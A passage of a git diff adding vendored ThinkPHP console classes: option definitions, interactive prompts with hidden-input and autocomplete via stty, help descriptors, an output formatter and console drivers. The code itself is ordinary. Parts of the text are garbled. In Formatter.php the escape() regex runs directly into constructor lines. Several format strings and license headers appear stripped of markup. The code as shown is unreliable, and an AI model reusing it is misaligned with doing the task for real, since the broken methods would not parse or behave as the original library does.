does not accept a value.'); + } + + $this->setDefault($default); + } + + /** + * 获取短名称 + * @return string + */ + public function getShortcut() + { + return $this->shortcut; + } + + /** + * 获取选项名 + * @return string + */ + public function getName() + { + return $this->name; + } + + /** + * 是否可以设置值 + * @return bool 类型不是 self::VALUE_NONE 的时候返回true,其他均返回false + */ + public function acceptValue() + { + return $this->isValueRequired() || $this->isValueOptional(); + } + + /** + * 是否必须 + * @return bool 类型是 self::VALUE_REQUIRED 的时候返回true,其他均返回false + */ + public function isValueRequired() + { + return self::VALUE_REQUIRED === (self::VALUE_REQUIRED & $this->mode); + } + + /** + * 是否可选 + * @return bool 类型是 self::VALUE_OPTIONAL 的时候返回true,其他均返回false + */ + public function isValueOptional() + { + return self::VALUE_OPTIONAL === (self::VALUE_OPTIONAL & $this->mode); + } + + /** + * 选项值是否接受数组 + * @return bool 类型是 self::VALUE_IS_ARRAY 的时候返回true,其他均返回false + */ + public function isArray() + { + return self::VALUE_IS_ARRAY === (self::VALUE_IS_ARRAY & $this->mode); + } + + /** + * 设置默认值 + * @param mixed $default 默认值 + * @throws \LogicException + */ + public function setDefault($default = null) + { + if (self::VALUE_NONE === (self::VALUE_NONE & $this->mode) && null !== $default) { + throw new \LogicException('Cannot set a default value when using InputOption::VALUE_NONE mode.'); + } + + if ($this->isArray()) { + if (null === $default) { + $default = []; + } elseif (!is_array($default)) { + throw new \LogicException('A default value for an array option must be an array.'); + } + } + + $this->default = $this->acceptValue() ? $default : false; + } + + /** + * 获取默认值 + * @return mixed + */ + public function getDefault() + { + return $this->default; + } + + /** + * 获取描述文字 + * @return string + */ + public function getDescription() + { + return $this->description; + } + + /** + * 检查所给选项是否是当前这个 + * @param Option $option + * @return bool + */ + public function equals(Option $option) + { + return $option->getName() === $this->getName() + && $option->getShortcut() === $this->getShortcut() + && $option->getDefault() === $this->getDefault() + && $option->isArray() === $this->isArray() + && $option->isValueRequired() === $this->isValueRequired() + && $option->isValueOptional() === $this->isValueOptional(); + } +} diff --git a/vendor/topthink/framework/src/think/console/output/Ask.php b/vendor/topthink/framework/src/think/console/output/Ask.php new file mode 100644 index 0000000..56821c7 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/output/Ask.php @@ -0,0 +1,336 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\output; + +use think\console\Input; +use think\console\Output; +use think\console\output\question\Choice; +use think\console\output\question\Confirmation; + +class Ask +{ + private static $stty; + + private static $shell; + + /** @var Input */ + protected $input; + + /** @var Output */ + protected $output; + + /** @var Question */ + protected $question; + + public function __construct(Input $input, Output $output, Question $question) + { + $this->input = $input; + $this->output = $output; + $this->question = $question; + } + + public function run() + { + if (!$this->input->isInteractive()) { + return $this->question->getDefault(); + } + + if (!$this->question->getValidator()) { + return $this->doAsk(); + } + + $that = $this; + + $interviewer = function () use ($that) { + return $that->doAsk(); + }; + + return $this->validateAttempts($interviewer); + } + + protected function doAsk() + { + $this->writePrompt(); + + $inputStream = STDIN; + $autocomplete = $this->question->getAutocompleterValues(); + + if (null === $autocomplete || !$this->hasSttyAvailable()) { + $ret = false; + if ($this->question->isHidden()) { + try { + $ret = trim($this->getHiddenResponse($inputStream)); + } catch (\RuntimeException $e) { + if (!$this->question->isHiddenFallback()) { + throw $e; + } + } + } + + if (false === $ret) { + $ret = fgets($inputStream, 4096); + if (false === $ret) { + throw new \RuntimeException('Aborted'); + } + $ret = trim($ret); + } + } else { + $ret = trim($this->autocomplete($inputStream)); + } + + $ret = strlen($ret) > 0 ? $ret : $this->question->getDefault(); + + if ($normalizer = $this->question->getNormalizer()) { + return $normalizer($ret); + } + + return $ret; + } + + private function autocomplete($inputStream) + { + $autocomplete = $this->question->getAutocompleterValues(); + $ret = ''; + + $i = 0; + $ofs = -1; + $matches = $autocomplete; + $numMatches = count($matches); + + $sttyMode = shell_exec('stty -g'); + + shell_exec('stty -icanon -echo'); + + while (!feof($inputStream)) { + $c = fread($inputStream, 1); + + if ("\177" === $c) { + if (0 === $numMatches && 0 !== $i) { + --$i; + $this->output->write("\033[1D"); + } + + if ($i === 0) { + $ofs = -1; + $matches = $autocomplete; + $numMatches = count($matches); + } else { + $numMatches = 0; + } + + $ret = substr($ret, 0, $i); + } elseif ("\033" === $c) { + $c .= fread($inputStream, 2); + + if (isset($c[2]) && ('A' === $c[2] || 'B' === $c[2])) { + if ('A' === $c[2] && -1 === $ofs) { + $ofs = 0; + } + + if (0 === $numMatches) { + continue; + } + + $ofs += ('A' === $c[2]) ? -1 : 1; + $ofs = ($numMatches + $ofs) % $numMatches; + } + } elseif (ord($c) < 32) { + if ("\t" === $c || "\n" === $c) { + if ($numMatches > 0 && -1 !== $ofs) { + $ret = $matches[$ofs]; + $this->output->write(substr($ret, $i)); + $i = strlen($ret); + } + + if ("\n" === $c) { + $this->output->write($c); + break; + } + + $numMatches = 0; + } + + continue; + } else { + $this->output->write($c); + $ret .= $c; + ++$i; + + $numMatches = 0; + $ofs = 0; + + foreach ($autocomplete as $value) { + if (0 === strpos($value, $ret) && $i !== strlen($value)) { + $matches[$numMatches++] = $value; + } + } + } + + $this->output->write("\033[K"); + + if ($numMatches > 0 && -1 !== $ofs) { + $this->output->write("\0337"); + $this->output->highlight(substr($matches[$ofs], $i)); + $this->output->write("\0338"); + } + } + + shell_exec(sprintf('stty %s', $sttyMode)); + + return $ret; + } + + protected function getHiddenResponse($inputStream) + { + if ('\\' === DIRECTORY_SEPARATOR) { + $exe = __DIR__ . '/../bin/hiddeninput.exe'; + + $value = rtrim(shell_exec($exe)); + $this->output->writeln(''); + + return $value; + } + + if ($this->hasSttyAvailable()) { + $sttyMode = shell_exec('stty -g'); + + shell_exec('stty -echo'); + $value = fgets($inputStream, 4096); + shell_exec(sprintf('stty %s', $sttyMode)); + + if (false === $value) { + throw new \RuntimeException('Aborted'); + } + + $value = trim($value); + $this->output->writeln(''); + + return $value; + } + + if (false !== $shell = $this->getShell()) { + $readCmd = $shell === 'csh' ? 'set mypassword = $<' : 'read -r mypassword'; + $command = sprintf("/usr/bin/env %s -c 'stty -echo; %s; stty echo; echo \$mypassword'", $shell, $readCmd); + $value = rtrim(shell_exec($command)); + $this->output->writeln(''); + + return $value; + } + + throw new \RuntimeException('Unable to hide the response.'); + } + + protected function validateAttempts($interviewer) + { + /** @var \Exception $error */ + $error = null; + $attempts = $this->question->getMaxAttempts(); + while (null === $attempts || $attempts--) { + if (null !== $error) { + $this->output->error($error->getMessage()); + } + + try { + return call_user_func($this->question->getValidator(), $interviewer()); + } catch (\Exception $error) { + } + } + + throw $error; + } + + /** + * 显示问题的提示信息 + */ + protected function writePrompt() + { + $text = $this->question->getQuestion(); + $default = $this->question->getDefault(); + + switch (true) { + case null === $default: + $text = sprintf(' %s:', $text); + + break; + + case $this->question instanceof Confirmation: + $text = sprintf(' %s (yes/no) [%s]:', $text, $default ? 'yes' : 'no'); + + break; + + case $this->question instanceof Choice && $this->question->isMultiselect(): + $choices = $this->question->getChoices(); + $default = explode(',', $default); + + foreach ($default as $key => $value) { + $default[$key] = $choices[trim($value)]; + } + + $text = sprintf(' %s [%s]:', $text, implode(', ', $default)); + + break; + + case $this->question instanceof Choice: + $choices = $this->question->getChoices(); + $text = sprintf(' %s [%s]:', $text, $choices[$default]); + + break; + + default: + $text = sprintf(' %s [%s]:', $text, $default); + } + + $this->output->writeln($text); + + if ($this->question instanceof Choice) { + $width = max(array_map('strlen', array_keys($this->question->getChoices()))); + + foreach ($this->question->getChoices() as $key => $value) { + $this->output->writeln(sprintf(" [%-${width}s] %s", $key, $value)); + } + } + + $this->output->write(' > '); + } + + private function getShell() + { + if (null !== self::$shell) { + return self::$shell; + } + + self::$shell = false; + + if (file_exists('/usr/bin/env')) { + $test = "/usr/bin/env %s -c 'echo OK' 2> /dev/null"; + foreach (['bash', 'zsh', 'ksh', 'csh'] as $sh) { + if ('OK' === rtrim(shell_exec(sprintf($test, $sh)))) { + self::$shell = $sh; + break; + } + } + } + + return self::$shell; + } + + private function hasSttyAvailable() + { + if (null !== self::$stty) { + return self::$stty; + } + + exec('stty 2>&1', $output, $exitcode); + + return self::$stty = $exitcode === 0; + } +} diff --git a/vendor/topthink/framework/src/think/console/output/Descriptor.php b/vendor/topthink/framework/src/think/console/output/Descriptor.php new file mode 100644 index 0000000..e4a9e61 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/output/Descriptor.php @@ -0,0 +1,323 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\output; + +use think\Console; +use think\console\Command; +use think\console\input\Argument as InputArgument; +use think\console\input\Definition as InputDefinition; +use think\console\input\Option as InputOption; +use think\console\Output; +use think\console\output\descriptor\Console as ConsoleDescription; + +class Descriptor +{ + + /** + * @var Output + */ + protected $output; + + /** + * {@inheritdoc} + */ + public function describe(Output $output, $object, array $options = []) + { + $this->output = $output; + + switch (true) { + case $object instanceof InputArgument: + $this->describeInputArgument($object, $options); + break; + case $object instanceof InputOption: + $this->describeInputOption($object, $options); + break; + case $object instanceof InputDefinition: + $this->describeInputDefinition($object, $options); + break; + case $object instanceof Command: + $this->describeCommand($object, $options); + break; + case $object instanceof Console: + $this->describeConsole($object, $options); + break; + default: + throw new \InvalidArgumentException(sprintf('Object of type "%s" is not describable.', get_class($object))); + } + } + + /** + * 输出内容 + * @param string $content + * @param bool $decorated + */ + protected function write($content, $decorated = false) + { + $this->output->write($content, false, $decorated ? Output::OUTPUT_NORMAL : Output::OUTPUT_RAW); + } + + /** + * 描述参数 + * @param InputArgument $argument + * @param array $options + * @return string|mixed + */ + protected function describeInputArgument(InputArgument $argument, array $options = []) + { + if (null !== $argument->getDefault() + && (!is_array($argument->getDefault()) + || count($argument->getDefault())) + ) { + $default = sprintf(' [default: %s]', $this->formatDefaultValue($argument->getDefault())); + } else { + $default = ''; + } + + $totalWidth = $options['total_width'] ?? strlen($argument->getName()); + $spacingWidth = $totalWidth - strlen($argument->getName()) + 2; + + $this->writeText(sprintf(" %s%s%s%s", $argument->getName(), str_repeat(' ', $spacingWidth), // + 17 = 2 spaces + + + 2 spaces + preg_replace('/\s*\R\s*/', PHP_EOL . str_repeat(' ', $totalWidth + 17), $argument->getDescription()), $default), $options); + } + + /** + * 描述选项 + * @param InputOption $option + * @param array $options + * @return string|mixed + */ + protected function describeInputOption(InputOption $option, array $options = []) + { + if ($option->acceptValue() && null !== $option->getDefault() + && (!is_array($option->getDefault()) + || count($option->getDefault())) + ) { + $default = sprintf(' [default: %s]', $this->formatDefaultValue($option->getDefault())); + } else { + $default = ''; + } + + $value = ''; + if ($option->acceptValue()) { + $value = '=' . strtoupper($option->getName()); + + if ($option->isValueOptional()) { + $value = '[' . $value . ']'; + } + } + + $totalWidth = $options['total_width'] ?? $this->calculateTotalWidthForOptions([$option]); + $synopsis = sprintf('%s%s', $option->getShortcut() ? sprintf('-%s, ', $option->getShortcut()) : ' ', sprintf('--%s%s', $option->getName(), $value)); + + $spacingWidth = $totalWidth - strlen($synopsis) + 2; + + $this->writeText(sprintf(" %s%s%s%s%s", $synopsis, str_repeat(' ', $spacingWidth), // + 17 = 2 spaces + + + 2 spaces + preg_replace('/\s*\R\s*/', "\n" . str_repeat(' ', $totalWidth + 17), $option->getDescription()), $default, $option->isArray() ? ' (multiple values allowed)' : ''), $options); + } + + /** + * 描述输入 + * @param InputDefinition $definition + * @param array $options + * @return string|mixed + */ + protected function describeInputDefinition(InputDefinition $definition, array $options = []) + { + $totalWidth = $this->calculateTotalWidthForOptions($definition->getOptions()); + foreach ($definition->getArguments() as $argument) { + $totalWidth = max($totalWidth, strlen($argument->getName())); + } + + if ($definition->getArguments()) { + $this->writeText('Arguments:', $options); + $this->writeText("\n"); + foreach ($definition->getArguments() as $argument) { + $this->describeInputArgument($argument, array_merge($options, ['total_width' => $totalWidth])); + $this->writeText("\n"); + } + } + + if ($definition->getArguments() && $definition->getOptions()) { + $this->writeText("\n"); + } + + if ($definition->getOptions()) { + $laterOptions = []; + + $this->writeText('Options:', $options); + foreach ($definition->getOptions() as $option) { + if (strlen($option->getShortcut()) > 1) { + $laterOptions[] = $option; + continue; + } + $this->writeText("\n"); + $this->describeInputOption($option, array_merge($options, ['total_width' => $totalWidth])); + } + foreach ($laterOptions as $option) { + $this->writeText("\n"); + $this->describeInputOption($option, array_merge($options, ['total_width' => $totalWidth])); + } + } + } + + /** + * 描述指令 + * @param Command $command + * @param array $options + * @return string|mixed + */ + protected function describeCommand(Command $command, array $options = []) + { + $command->getSynopsis(true); + $command->getSynopsis(false); + $command->mergeConsoleDefinition(false); + + $this->writeText('Usage:', $options); + foreach (array_merge([$command->getSynopsis(true)], $command->getAliases(), $command->getUsages()) as $usage) { + $this->writeText("\n"); + $this->writeText(' ' . $usage, $options); + } + $this->writeText("\n"); + + $definition = $command->getNativeDefinition(); + if ($definition->getOptions() || $definition->getArguments()) { + $this->writeText("\n"); + $this->describeInputDefinition($definition, $options); + $this->writeText("\n"); + } + + if ($help = $command->getProcessedHelp()) { + $this->writeText("\n"); + $this->writeText('Help:', $options); + $this->writeText("\n"); + $this->writeText(' ' . str_replace("\n", "\n ", $help), $options); + $this->writeText("\n"); + } + } + + /** + * 描述控制台 + * @param Console $console + * @param array $options + * @return string|mixed + */ + protected function describeConsole(Console $console, array $options = []) + { + $describedNamespace = isset($options['namespace']) ? $options['namespace'] : null; + $description = new ConsoleDescription($console, $describedNamespace); + + if (isset($options['raw_text']) && $options['raw_text']) { + $width = $this->getColumnWidth($description->getNamespaces()); + + foreach ($description->getCommands() as $command) { + $this->writeText(sprintf("%-${width}s %s", $command->getName(), $command->getDescription()), $options); + $this->writeText("\n"); + } + } else { + if ('' != $help = $console->getHelp()) { + $this->writeText("$help\n\n", $options); + } + + $this->writeText("Usage:\n", $options); + $this->writeText(" command [options] [arguments]\n\n", $options); + + $this->describeInputDefinition(new InputDefinition($console->getDefinition()->getOptions()), $options); + + $this->writeText("\n"); + $this->writeText("\n"); + + $width = $this->getColumnWidth($description->getNamespaces()); + + if ($describedNamespace) { + $this->writeText(sprintf('Available commands for the "%s" namespace:', $describedNamespace), $options); + } else { + $this->writeText('Available commands:', $options); + } + + // add commands by namespace + foreach ($description->getNamespaces() as $namespace) { + if (!$describedNamespace && ConsoleDescription::GLOBAL_NAMESPACE !== $namespace['id']) { + $this->writeText("\n"); + $this->writeText(' ' . $namespace['id'] . '', $options); + } + + foreach ($namespace['commands'] as $name) { + $this->writeText("\n"); + $spacingWidth = $width - strlen($name); + $this->writeText(sprintf(" %s%s%s", $name, str_repeat(' ', $spacingWidth), $description->getCommand($name) + ->getDescription()), $options); + } + } + + $this->writeText("\n"); + } + } + + /** + * {@inheritdoc} + */ + private function writeText($content, array $options = []) + { + $this->write(isset($options['raw_text']) + && $options['raw_text'] ? strip_tags($content) : $content, isset($options['raw_output']) ? !$options['raw_output'] : true); + } + + /** + * 格式化 + * @param mixed $default + * @return string + */ + private function formatDefaultValue($default) + { + return json_encode($default, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); + } + + /** + * @param Namespaces[] $namespaces + * @return int + */ + private function getColumnWidth(array $namespaces) + { + $width = 0; + foreach ($namespaces as $namespace) { + foreach ($namespace['commands'] as $name) { + if (strlen($name) > $width) { + $width = strlen($name); + } + } + } + + return $width + 2; + } + + /** + * @param InputOption[] $options + * @return int + */ + private function calculateTotalWidthForOptions($options) + { + $totalWidth = 0; + foreach ($options as $option) { + $nameLength = 4 + strlen($option->getName()) + 2; // - + shortcut + , + whitespace + name + -- + + if ($option->acceptValue()) { + $valueLength = 1 + strlen($option->getName()); // = + value + $valueLength += $option->isValueOptional() ? 2 : 0; // [ + ] + + $nameLength += $valueLength; + } + $totalWidth = max($totalWidth, $nameLength); + } + + return $totalWidth; + } +} diff --git a/vendor/topthink/framework/src/think/console/output/Formatter.php b/vendor/topthink/framework/src/think/console/output/Formatter.php new file mode 100644 index 0000000..1b97ca3 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/output/Formatter.php @@ -0,0 +1,198 @@ + +// +---------------------------------------------------------------------- +namespace think\console\output; + +use think\console\output\formatter\Stack as StyleStack; +use think\console\output\formatter\Style; + +class Formatter +{ + + private $decorated = false; + private $styles = []; + private $styleStack; + + /** + * 转义 + * @param string $text + * @return string + */ + public static function escape($text) + { + return preg_replace('/([^\\\\]?)setStyle('error', new Style('white', 'red')); + $this->setStyle('info', new Style('green')); + $this->setStyle('comment', new Style('yellow')); + $this->setStyle('question', new Style('black', 'cyan')); + $this->setStyle('highlight', new Style('red')); + $this->setStyle('warning', new Style('black', 'yellow')); + + $this->styleStack = new StyleStack(); + } + + /** + * 设置外观标识 + * @param bool $decorated 是否美化文字 + */ + public function setDecorated($decorated) + { + $this->decorated = (bool) $decorated; + } + + /** + * 获取外观标识 + * @return bool + */ + public function isDecorated() + { + return $this->decorated; + } + + /** + * 添加一个新样式 + * @param string $name 样式名 + * @param Style $style 样式实例 + */ + public function setStyle($name, Style $style) + { + $this->styles[strtolower($name)] = $style; + } + + /** + * 是否有这个样式 + * @param string $name + * @return bool + */ + public function hasStyle($name) + { + return isset($this->styles[strtolower($name)]); + } + + /** + * 获取样式 + * @param string $name + * @return Style + * @throws \InvalidArgumentException + */ + public function getStyle($name) + { + if (!$this->hasStyle($name)) { + throw new \InvalidArgumentException(sprintf('Undefined style: %s', $name)); + } + + return $this->styles[strtolower($name)]; + } + + /** + * 使用所给的样式格式化文字 + * @param string $message 文字 + * @return string + */ + public function format($message) + { + $offset = 0; + $output = ''; + $tagRegex = '[a-z][a-z0-9_=;-]*'; + preg_match_all("#<(($tagRegex) | /($tagRegex)?)>#isx", $message, $matches, PREG_OFFSET_CAPTURE); + foreach ($matches[0] as $i => $match) { + $pos = $match[1]; + $text = $match[0]; + + if (0 != $pos && '\\' == $message[$pos - 1]) { + continue; + } + + $output .= $this->applyCurrentStyle(substr($message, $offset, $pos - $offset)); + $offset = $pos + strlen($text); + + if ($open = '/' != $text[1]) { + $tag = $matches[1][$i][0]; + } else { + $tag = $matches[3][$i][0] ?? ''; + } + + if (!$open && !$tag) { + // + $this->styleStack->pop(); + } elseif (false === $style = $this->createStyleFromString(strtolower($tag))) { + $output .= $this->applyCurrentStyle($text); + } elseif ($open) { + $this->styleStack->push($style); + } else { + $this->styleStack->pop($style); + } + } + + $output .= $this->applyCurrentStyle(substr($message, $offset)); + + return str_replace('\\<', '<', $output); + } + + /** + * @return StyleStack + */ + public function getStyleStack() + { + return $this->styleStack; + } + + /** + * 根据字符串创建新的样式实例 + * @param string $string + * @return Style|bool + */ + private function createStyleFromString($string) + { + if (isset($this->styles[$string])) { + return $this->styles[$string]; + } + + if (!preg_match_all('/([^=]+)=([^;]+)(;|$)/', strtolower($string), $matches, PREG_SET_ORDER)) { + return false; + } + + $style = new Style(); + foreach ($matches as $match) { + array_shift($match); + + if ('fg' == $match[0]) { + $style->setForeground($match[1]); + } elseif ('bg' == $match[0]) { + $style->setBackground($match[1]); + } else { + try { + $style->setOption($match[1]); + } catch (\InvalidArgumentException $e) { + return false; + } + } + } + + return $style; + } + + /** + * 从堆栈应用样式到文字 + * @param string $text 文字 + * @return string + */ + private function applyCurrentStyle($text) + { + return $this->isDecorated() && strlen($text) > 0 ? $this->styleStack->getCurrent()->apply($text) : $text; + } +} diff --git a/vendor/topthink/framework/src/think/console/output/Question.php b/vendor/topthink/framework/src/think/console/output/Question.php new file mode 100644 index 0000000..03975f2 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/output/Question.php @@ -0,0 +1,211 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\output; + +class Question +{ + + private $question; + private $attempts; + private $hidden = false; + private $hiddenFallback = true; + private $autocompleterValues; + private $validator; + private $default; + private $normalizer; + + /** + * 构造方法 + * @param string $question 问题 + * @param mixed $default 默认答案 + */ + public function __construct($question, $default = null) + { + $this->question = $question; + $this->default = $default; + } + + /** + * 获取问题 + * @return string + */ + public function getQuestion() + { + return $this->question; + } + + /** + * 获取默认答案 + * @return mixed + */ + public function getDefault() + { + return $this->default; + } + + /** + * 是否隐藏答案 + * @return bool + */ + public function isHidden() + { + return $this->hidden; + } + + /** + * 隐藏答案 + * @param bool $hidden + * @return Question + */ + public function setHidden($hidden) + { + if ($this->autocompleterValues) { + throw new \LogicException('A hidden question cannot use the autocompleter.'); + } + + $this->hidden = (bool) $hidden; + + return $this; + } + + /** + * 不能被隐藏是否撤销 + * @return bool + */ + public function isHiddenFallback() + { + return $this->hiddenFallback; + } + + /** + * 设置不能被隐藏的时候的操作 + * @param bool $fallback + * @return Question + */ + public function setHiddenFallback($fallback) + { + $this->hiddenFallback = (bool) $fallback; + + return $this; + } + + /** + * 获取自动完成 + * @return null|array|\Traversable + */ + public function getAutocompleterValues() + { + return $this->autocompleterValues; + } + + /** + * 设置自动完成的值 + * @param null|array|\Traversable $values + * @return Question + * @throws \InvalidArgumentException + * @throws \LogicException + */ + public function setAutocompleterValues($values) + { + if (is_array($values) && $this->isAssoc($values)) { + $values = array_merge(array_keys($values), array_values($values)); + } + + if (null !== $values && !is_array($values)) { + if (!$values instanceof \Traversable || $values instanceof \Countable) { + throw new \InvalidArgumentException('Autocompleter values can be either an array, `null` or an object implementing both `Countable` and `Traversable` interfaces.'); + } + } + + if ($this->hidden) { + throw new \LogicException('A hidden question cannot use the autocompleter.'); + } + + $this->autocompleterValues = $values; + + return $this; + } + + /** + * 设置答案的验证器 + * @param null|callable $validator + * @return Question The current instance + */ + public function setValidator($validator) + { + $this->validator = $validator; + + return $this; + } + + /** + * 获取验证器 + * @return null|callable + */ + public function getValidator() + { + return $this->validator; + } + + /** + * 设置最大重试次数 + * @param null|int $attempts + * @return Question + * @throws \InvalidArgumentException + */ + public function setMaxAttempts($attempts) + { + if (null !== $attempts && $attempts < 1) { + throw new \InvalidArgumentException('Maximum number of attempts must be a positive value.'); + } + + $this->attempts = $attempts; + + return $this; + } + + /** + * 获取最大重试次数 + * @return null|int + */ + public function getMaxAttempts() + { + return $this->attempts; + } + + /** + * 设置响应的回调 + * @param string|\Closure $normalizer + * @return Question + */ + public function setNormalizer($normalizer) + { + $this->normalizer = $normalizer; + + return $this; + } + + /** + * 获取响应回调 + * The normalizer can ba a callable (a string), a closure or a class implementing __invoke. + * @return string|\Closure + */ + public function getNormalizer() + { + return $this->normalizer; + } + + protected function isAssoc($array) + { + return (bool) count(array_filter(array_keys($array), 'is_string')); + } +} diff --git a/vendor/topthink/framework/src/think/console/output/descriptor/Console.php b/vendor/topthink/framework/src/think/console/output/descriptor/Console.php new file mode 100644 index 0000000..ff9f464 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/output/descriptor/Console.php @@ -0,0 +1,153 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\output\descriptor; + +use think\Console as ThinkConsole; +use think\console\Command; + +class Console +{ + + const GLOBAL_NAMESPACE = '_global'; + + /** + * @var ThinkConsole + */ + private $console; + + /** + * @var null|string + */ + private $namespace; + + /** + * @var array + */ + private $namespaces; + + /** + * @var Command[] + */ + private $commands; + + /** + * @var Command[] + */ + private $aliases; + + /** + * 构造方法 + * @param ThinkConsole $console + * @param string|null $namespace + */ + public function __construct(ThinkConsole $console, $namespace = null) + { + $this->console = $console; + $this->namespace = $namespace; + } + + /** + * @return array + */ + public function getNamespaces(): array + { + if (null === $this->namespaces) { + $this->inspectConsole(); + } + + return $this->namespaces; + } + + /** + * @return Command[] + */ + public function getCommands(): array + { + if (null === $this->commands) { + $this->inspectConsole(); + } + + return $this->commands; + } + + /** + * @param string $name + * @return Command + * @throws \InvalidArgumentException + */ + public function getCommand(string $name): Command + { + if (!isset($this->commands[$name]) && !isset($this->aliases[$name])) { + throw new \InvalidArgumentException(sprintf('Command %s does not exist.', $name)); + } + + return $this->commands[$name] ?? $this->aliases[$name]; + } + + private function inspectConsole(): void + { + $this->commands = []; + $this->namespaces = []; + + $all = $this->console->all($this->namespace ? $this->console->findNamespace($this->namespace) : null); + foreach ($this->sortCommands($all) as $namespace => $commands) { + $names = []; + + /** @var Command $command */ + foreach ($commands as $name => $command) { + if (is_string($command)) { + $command = new $command(); + } + + if (!$command->getName()) { + continue; + } + + if ($command->getName() === $name) { + $this->commands[$name] = $command; + } else { + $this->aliases[$name] = $command; + } + + $names[] = $name; + } + + $this->namespaces[$namespace] = ['id' => $namespace, 'commands' => $names]; + } + } + + /** + * @param array $commands + * @return array + */ + private function sortCommands(array $commands): array + { + $namespacedCommands = []; + foreach ($commands as $name => $command) { + $key = $this->console->extractNamespace($name, 1); + if (!$key) { + $key = self::GLOBAL_NAMESPACE; + } + + $namespacedCommands[$key][$name] = $command; + } + ksort($namespacedCommands); + + foreach ($namespacedCommands as &$commandsSet) { + ksort($commandsSet); + } + // unset reference to keep scope clear + unset($commandsSet); + + return $namespacedCommands; + } +} diff --git a/vendor/topthink/framework/src/think/console/output/driver/Buffer.php b/vendor/topthink/framework/src/think/console/output/driver/Buffer.php new file mode 100644 index 0000000..576f31a --- /dev/null +++ b/vendor/topthink/framework/src/think/console/output/driver/Buffer.php @@ -0,0 +1,52 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\output\driver; + +use think\console\Output; + +class Buffer +{ + /** + * @var string + */ + private $buffer = ''; + + public function __construct(Output $output) + { + // do nothing + } + + public function fetch() + { + $content = $this->buffer; + $this->buffer = ''; + return $content; + } + + public function write($messages, bool $newline = false, int $options = 0) + { + $messages = (array) $messages; + + foreach ($messages as $message) { + $this->buffer .= $message; + } + if ($newline) { + $this->buffer .= "\n"; + } + } + + public function renderException(\Throwable $e) + { + // do nothing + } + +} diff --git a/vendor/topthink/framework/src/think/console/output/driver/Console.php b/vendor/topthink/framework/src/think/console/output/driver/Console.php new file mode 100644 index 0000000..31bdf1f --- /dev/null +++ b/vendor/topthink/framework/src/think/console/output/driver/Console.php @@ -0,0 +1,368 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\output\driver; + +use think\console\Output; +use think\console\output\Formatter; + +class Console +{ + + /** @var Resource */ + private $stdout; + + /** @var Formatter */ + private $formatter; + + private $terminalDimensions; + + /** @var Output */ + private $output; + + public function __construct(Output $output) + { + $this->output = $output; + $this->formatter = new Formatter(); + $this->stdout = $this->openOutputStream(); + $decorated = $this->hasColorSupport($this->stdout); + $this->formatter->setDecorated($decorated); + } + + public function setDecorated($decorated) + { + $this->formatter->setDecorated($decorated); + } + + public function write($messages, bool $newline = false, int $type = 0, $stream = null) + { + if (Output::VERBOSITY_QUIET === $this->output->getVerbosity()) { + return; + } + + $messages = (array) $messages; + + foreach ($messages as $message) { + switch ($type) { + case Output::OUTPUT_NORMAL: + $message = $this->formatter->format($message); + break; + case Output::OUTPUT_RAW: + break; + case Output::OUTPUT_PLAIN: + $message = strip_tags($this->formatter->format($message)); + break; + default: + throw new \InvalidArgumentException(sprintf('Unknown output type given (%s)', $type)); + } + + $this->doWrite($message, $newline, $stream); + } + } + + public function renderException(\Throwable $e) + { + $stderr = $this->openErrorStream(); + $decorated = $this->hasColorSupport($stderr); + $this->formatter->setDecorated($decorated); + + do { + $title = sprintf(' [%s] ', get_class($e)); + + $len = $this->stringWidth($title); + + $width = $this->getTerminalWidth() ? $this->getTerminalWidth() - 1 : PHP_INT_MAX; + + if (defined('HHVM_VERSION') && $width > 1 << 31) { + $width = 1 << 31; + } + $lines = []; + foreach (preg_split('/\r?\n/', $e->getMessage()) as $line) { + foreach ($this->splitStringByWidth($line, $width - 4) as $line) { + + $lineLength = $this->stringWidth(preg_replace('/\[[^m]*m/', '', $line)) + 4; + $lines[] = [$line, $lineLength]; + + $len = max($lineLength, $len); + } + } + + $messages = ['', '']; + $messages[] = $emptyLine = sprintf('%s', str_repeat(' ', $len)); + $messages[] = sprintf('%s%s', $title, str_repeat(' ', max(0, $len - $this->stringWidth($title)))); + foreach ($lines as $line) { + $messages[] = sprintf(' %s %s', $line[0], str_repeat(' ', $len - $line[1])); + } + $messages[] = $emptyLine; + $messages[] = ''; + $messages[] = ''; + + $this->write($messages, true, Output::OUTPUT_NORMAL, $stderr); + + if (Output::VERBOSITY_VERBOSE <= $this->output->getVerbosity()) { + $this->write('Exception trace:', true, Output::OUTPUT_NORMAL, $stderr); + + // exception related properties + $trace = $e->getTrace(); + array_unshift($trace, [ + 'function' => '', + 'file' => $e->getFile() !== null ? $e->getFile() : 'n/a', + 'line' => $e->getLine() !== null ? $e->getLine() : 'n/a', + 'args' => [], + ]); + + for ($i = 0, $count = count($trace); $i < $count; ++$i) { + $class = isset($trace[$i]['class']) ? $trace[$i]['class'] : ''; + $type = isset($trace[$i]['type']) ? $trace[$i]['type'] : ''; + $function = $trace[$i]['function']; + $file = isset($trace[$i]['file']) ? $trace[$i]['file'] : 'n/a'; + $line = isset($trace[$i]['line']) ? $trace[$i]['line'] : 'n/a'; + + $this->write(sprintf(' %s%s%s() at %s:%s', $class, $type, $function, $file, $line), true, Output::OUTPUT_NORMAL, $stderr); + } + + $this->write('', true, Output::OUTPUT_NORMAL, $stderr); + $this->write('', true, Output::OUTPUT_NORMAL, $stderr); + } + } while ($e = $e->getPrevious()); + + } + + /** + * 获取终端宽度 + * @return int|null + */ + protected function getTerminalWidth() + { + $dimensions = $this->getTerminalDimensions(); + + return $dimensions[0]; + } + + /** + * 获取终端高度 + * @return int|null + */ + protected function getTerminalHeight() + { + $dimensions = $this->getTerminalDimensions(); + + return $dimensions[1]; + } + + /** + * 获取当前终端的尺寸 + * @return array + */ + public function getTerminalDimensions(): array + { + if ($this->terminalDimensions) { + return $this->terminalDimensions; + } + + if ('\\' === DIRECTORY_SEPARATOR) { + if (preg_match('/^(\d+)x\d+ \(\d+x(\d+)\)$/', trim(getenv('ANSICON')), $matches)) { + return [(int) $matches[1], 